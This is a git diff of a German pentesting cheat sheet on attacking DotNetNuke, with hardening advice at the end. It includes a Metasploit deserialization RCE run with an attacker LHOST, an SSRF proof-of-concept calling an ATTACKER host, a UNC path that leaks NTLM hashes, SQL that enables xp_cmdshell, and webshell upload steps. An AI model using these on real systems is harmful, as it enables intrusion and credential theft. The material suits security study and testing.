mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
c38d01c7fc
commit
577371cb99
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, RCE zu erhalten.
|
||||
Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, **RCE** zu erhalten. In den letzten Jahren wurden jedoch eine Reihe von *unauthentifizierten* und *post-auth* Techniken veröffentlicht. Das folgende Cheat-Sheet sammelt die nützlichsten Primitiven für sowohl offensive als auch defensive Arbeiten.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Versions- & Umgebungsenumeration
|
||||
|
||||
### Über SQL
|
||||
* Überprüfen Sie den *X-DNN* HTTP-Antwortheader – er gibt normalerweise die genaue Plattformversion an.
|
||||
* Der Installationsassistent gibt die Version in `/Install/Install.aspx?mode=install` preis (zugänglich bei sehr alten Installationen).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) gibt ein JSON-Blob zurück, das `"dnnVersion"` für Benutzer mit niedrigen Berechtigungen enthält.
|
||||
* Typische Cookies, die Sie in einer Live-Instanz sehen werden:
|
||||
* `.DOTNETNUKE` – ASP.NET Forms-Authentifizierungsticket.
|
||||
* `DNNPersonalization` – enthält XML/serialisierte Benutzerdaten (alte Versionen – siehe RCE unten).
|
||||
|
||||
Eine SQL-Konsole ist auf der **`Einstellungen`**-Seite zugänglich, wo Sie **`xp_cmdshell`** aktivieren und **Betriebssystembefehle ausführen** können.
|
||||
---
|
||||
## Unauthentifizierte Ausnutzung
|
||||
|
||||
Verwenden Sie diese Zeilen, um **`xp_cmdshell`** zu aktivieren:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. Cookie-Deserialisierung RCE (CVE-2017-9822 & Folgemaßnahmen)
|
||||
*Betroffene Versionen ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` wird bei jeder Anfrage deserialisiert, wenn der integrierte 404-Handler aktiviert ist. Durch manipuliertes XML kann daher zu beliebigen Gadget-Ketten und Codeausführung führen.
|
||||
```
|
||||
Und drücken Sie **"Run Script"**, um diese SQL-Sätze auszuführen.
|
||||
|
||||
Verwenden Sie dann etwas wie das Folgende, um OS-Befehle auszuführen:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP-Webshell
|
||||
Das Modul wählt automatisch den richtigen Pfad für gepatchte, aber weiterhin anfällige Versionen (CVE-2018-15811/15812/18325/18326). Die Ausnutzung funktioniert **ohne Authentifizierung** bei 7.x–9.1.x und mit einem *verifizierten* Konto mit niedrigen Rechten bei 9.2.x+.
|
||||
|
||||
In `Settings -> Security -> More -> More Security Settings` können Sie **neue erlaubte Erweiterungen** unter `Allowable File Extensions` hinzufügen und dann auf die Schaltfläche `Save` klicken.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Betroffene Versionen < 9.13.8 – Patch veröffentlicht April 2025*
|
||||
|
||||
Fügen Sie **`asp`** oder **`aspx`** hinzu und laden Sie dann in **`/admin/file-management`** eine **asp-Webshell** namens `shell.asp` hoch, zum Beispiel.
|
||||
Ein Umgehen des älteren `DnnImageHandler`-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, **willkürliche GET-Anfragen** auszuführen (semi-blind SSRF). Praktische Auswirkungen:
|
||||
|
||||
Greifen Sie dann auf **`/Portals/0/shell.asp`** zu, um auf Ihre Webshell zuzugreifen.
|
||||
* Interner Port-Scan / Metadaten-Service-Entdeckung in Cloud-Bereitstellungen.
|
||||
* Erreichen von Hosts, die sonst durch eine Firewall vom Internet getrennt sind.
|
||||
|
||||
### Privilegieneskalation
|
||||
Proof-of-Concept (ersetzen Sie `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
Die Anfrage wird im Hintergrund ausgelöst; überwachen Sie Ihren Listener auf Rückrufe.
|
||||
|
||||
Sie können **Privilegien eskalieren** mit **Potatoes** oder **PrintSpoofer**, zum Beispiel.
|
||||
### 3. NTLM-Hash-Exposition über UNC-Umleitung (CVE-2025-52488)
|
||||
*Betroffene Versionen 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Spezial angefertigte Inhalte können DNN dazu bringen, zu versuchen, eine Ressource über einen **UNC-Pfad** wie `\\attacker\share\img.png` abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leckt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf **10.0.1** oder deaktivieren Sie ausgehendes SMB an der Firewall.
|
||||
|
||||
### 4. IP-Filter-Umgehung (CVE-2025-52487)
|
||||
Wenn Administratoren auf *Host/IP-Filter* zum Schutz des Admin-Portals angewiesen sind, seien Sie sich bewusst, dass Versionen vor **10.0.1** durch Manipulation von `X-Forwarded-For` in einem Reverse-Proxy-Szenario umgangen werden können.
|
||||
|
||||
---
|
||||
## Post-Authentifizierung zu RCE
|
||||
|
||||
### Über SQL-Konsole
|
||||
Unter **`Einstellungen → SQL`** ermöglicht ein integriertes Abfragefenster die Ausführung gegen die Site-Datenbank. Auf Microsoft SQL Server können Sie **`xp_cmdshell`** aktivieren und Befehle ausführen:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Über ASPX-Webshell-Upload
|
||||
1. Gehe zu **`Einstellungen → Sicherheit → Mehr → Weitere Sicherheitseinstellungen`**.
|
||||
2. Füge `aspx` (oder `asp`) zu **Erlaubte Dateierweiterungen** hinzu und **speichere**.
|
||||
3. Gehe zu **`/admin/file-management`** und lade `shell.aspx` hoch.
|
||||
4. Rufe es auf unter **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Privilegieneskalation unter Windows
|
||||
Sobald die Codeausführung als **IIS AppPool\<Site>** erreicht ist, gelten gängige Windows-Privilegieneskalationstechniken. Wenn die Box anfällig ist, kannst du Folgendes nutzen:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool**, um *SeImpersonatePrivilege* auszunutzen.
|
||||
* **Juicy/Sharp Potatoes**, um *Service Accounts* zu entkommen.
|
||||
|
||||
---
|
||||
## Empfehlungen zur Härtung (Blue Team)
|
||||
|
||||
* **Upgrade** auf mindestens **9.13.9** (behebt SSRF-Umgehung) oder vorzugsweise **10.0.1** (IP-Filter- & NTLM-Probleme).
|
||||
* Entferne verbleibende **`InstallWizard.aspx*`**-Dateien nach der Installation.
|
||||
* Deaktiviere ausgehendes SMB (Ports 445/139).
|
||||
* Erzwinge starke *Host-Filter* am Edge-Proxy anstelle innerhalb von DNN.
|
||||
* Blockiere den Zugriff auf `/API/RemoteContentProxy`, wenn nicht verwendet.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` Modul-Dokumentation – praktische Details zur nicht authentifizierten RCE (GitHub).
|
||||
* GitHub-Sicherheitsberatung GHSA-3f7v-qx94-666m – Informationen zur SSRF-Umgehung & Patch-Informationen von 2025.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user